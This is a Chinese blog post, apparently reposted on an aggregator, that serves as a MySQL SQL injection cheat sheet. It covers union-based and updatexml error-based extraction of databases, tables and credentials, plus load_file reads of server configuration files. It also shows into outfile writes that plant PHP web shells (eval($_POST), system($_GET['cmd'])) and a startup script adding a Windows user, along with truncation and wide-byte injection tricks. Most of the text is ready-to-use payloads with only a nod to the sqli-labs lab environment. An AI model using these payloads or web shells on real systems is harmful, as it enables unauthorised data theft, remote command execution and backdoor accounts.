SQL注入之MySQL

Posted 安全鸭

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入之MySQL相关的知识,希望对你有一定的参考价值。

一、union联合查询
1.判断注入漏洞
2.判断字段数目
order by x
3.union联合查询,爆字符列位置
union select 1,2,3,4,5
4.在字符列上查询相关数据库信息
  
    
    
  
union select 1,version(),database(),4,5 # 获取数据库信息,其他: union select distinct table_schema from information_schema.tables; # 查找当前主机所有数据库名称(权限允许)
information_schema.tables #记录表名信息的表 information_schema.columns #记录列名信息的表    table_name #表名 column_name #列名 table_schema #数据库名 user() # 用户名 database() # 数据库名 version() # 数据库版本 @@datadir # 读取数据库文件路径 @@basedir # 安装路径 @@version_compile_os # 操作系统
5.指定数据库列表名
union select 1,group_concat(table_name),3,4,5,6,7,8,9,10 from information_schema.tables where table_schema=0x6D7574696130313231--+
6.指定表名
union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,1 from information_schema.columns where table_name=0x61646D696E and table_schema=0x6D7574696130313231--+
7.获取数据信息
  
    
    
  
union select 1,group_concat(name,0x5c,password),3,4,5,6,7,8,9,10 from admin limit 0,1--+

二、显错注入

单引号探测显错注入,出现报错如下初步判断目标可能存在显错注入,显错注入有很多函数,其中floor()、extractvalue()、updatexml()三个函数是比较常用,以下只记录了updatexml函数的显错利用

You have an error in your SQL syntax; check the manual that corresponds to your mysql server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

  
    
    
  
# 查看当前用户和数据库名 'and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+ 'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
# 查看数据库名(通过limit()函数可以遍历所有数据库名称)                                                                                          'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+                'and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1),0x7e),1)--+
# 查看所有数据库 'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+  
#指定数据库名称来查看表名 'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='mysql'),0x7e),1)--+
#查看当前数据库的表名(通过limit()函数可以遍历当前数据库所有表名) 'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)--+  
#指定数据库名和表名查询列名(通过limit()函数可以遍历目标的所有列) 'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),0x7e),1)--+
#指定数据库名和表名一次查询所有列名 'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security' limit 0,1),0x7e),1)--+ 
#指定数据库名和表名查询列名,可使用limit函数遍历 'and updatexml(1,concat(0x7e,(select username from security.users limit 0,1),0x7e),1)--+
注意:updatexml()能查询字符串的最大长度为32位,如果想要获取的数据超过32位,使用截取函数进行截取,然后拼接:

#这里使用查看所有数据库名称的语句只能查看到三个数据库名
'and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)--+
# 使用截取函数mid()分别 取1-30,30-60位,并编码:
'and updatexml(1,concat(0x7e,substring(hex((select group_concat(schema_name) from information_schema.schemata)),1,30),0x7e),1)--+ 'and updatexml(1,concat(0x7e,substring(hex((select group_concat(schema_name) from information_schema.schemata)),30,60),0x7e),1)--+
1-30 SQL注入之MySQL

30-60 SQL注入之MySQL
# 如此依次取下去直到数据完结,然后去重每次查询时首尾重复的数字:
  
    
    
  
696E666F726D6174696F6E5F736368 8656D612C3569736E732C3734636D73 32C6262636275696C6465722C626565 5732C62776170702C63617466697368 82C6368616C6C656E6765732C637763 36D732C64616D69636D732C64656465 5636D737635372C64697363757A3732 22C64697363757A372E322C64767761 12C6561725F6170702C6563746F7563
得到字符串:
  
    
    
  
696E666F726D6174696F6E5F736368656D612C3569736E732C3734636D732C6262636275696C6465722C626565732C62776170702C636174666973682C6368616C6C656E6765732C6377636D732C64616D69636D732C646
十六进制解密得到想要获取的数据:
SQL注入之MySQL

三、 MySQL读写文件

1. load_file()读取函数:

  • 该函数是用来读取源文件

  • 只能读取绝对路径的网页文件

  • 在使用load_file()时应先找到网站绝对路径

  • 路径符号要使用反斜杠

  • 如果转换十六进制数进行读写,转换时不要带引号'

# 常见配置文件路径读取:/etc/httpd/conf/httpd.confuser/local/httpd/conf/httpd.confwindows服务器:c:/windows/system32/inetsrv/metabase.xml

    读取网站内容

union select 1,load_file('C:\1.txt'),3,4,5,6,7,8,9,10union select 1,load_file(0x433A5C5C312E747874),3,4,5,6,7,8,9,10 #16进制编码绕过魔术引号或者addslashes()防护函数限制

SQL注入之MySQL


2.写入函数 into outfile

union select 1,"<?php @eval($_POST['CMD']);?>",3,4,5,6,7,8,9,10 into outfile 'C:/1.php'

常见利用方法:
1.将创建用写入开机启动项。需要使用wamp环境搭建&系统权限才能执行union select 1,"net user seven 123 /add",2,3,4,5,6 into outfile 'C://Documents and Settings/Administrator/「开始」菜单/程序/启动/1.bat'# 2.写入一句话union select 1,"<pre><body><?  @system($_GET['cmd']); ?></body></pre>",3,4,5,6, into outfile 'C:/1.php'


写入文件条件:

  • Windows root权限(linux环境下root用户可能无写入权限)

  • 关闭魔术引号

  • 找到网站物理路径

  • --secure-file-priv设置为null或者允许导入路径

  • 写入和读取文件路径符号斜杠使用'/'或者'\'


四、其他

1.MySQL长字节截断
漏洞条件:管理员账号和用户账号在同一张表中,且数据库对用户名字段长度有一定限制。普通用户注册时将用户名写作:
  
    
    
  
admin+++++++++++++++++++++++++
使长度超过字段限制的长度,数据库会自动截断将用户名截断为admin。这样相当于增加了个admin管理员账号密码。

2.宽字节注入
所有的 '(单引号),"(双引号),(反斜线)和 NULL 字符都会被自动加上一个反斜线进行转义 。在GBK编码时,mysql会认为两个字符是一个汉字(在前一个字节的ascii码大于128的情况下)。而经过转义之后的单引号 会变为 ,即 %5c%27
构造 id=1%df%27%23  ,在经过转义传递给mysql时,就是 id=1 %df%5c %27 ,mysql在解析时,会将 %df%5c 解析成繁体汉字,而%27就会闭合掉原本sql语句中左边的单引号,即select xxx from xxx where id=' %df%5c'# ',%23用于注释掉原本sql语句中右边的单引号
  • 漏洞环境:sqli-labs less-32

  • sqlmap插件:unmagicquotes.py

  • 漏洞利用条件:GBK+windows环境才能使用宽字节注入.

  • 本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除

===============================================


以上是关于SQL注入之MySQL的主要内容,如果未能解决你的问题,请参考以下文章

SQL注入之mysql显错注入

SQL注入之MYSQL

SQL注入之MYSQL

mysql 之sql注入详解

安全测试 web安全测试 常规安全漏洞 可能存在SQL和JS注入漏洞场景分析。为什么自己没有找到漏洞,哪么可能存在漏洞场景是?SQL注入漏洞修复 JS注入漏洞修复 漏洞存在场景分析和修复示例(代码片段

SQL注入之MySQL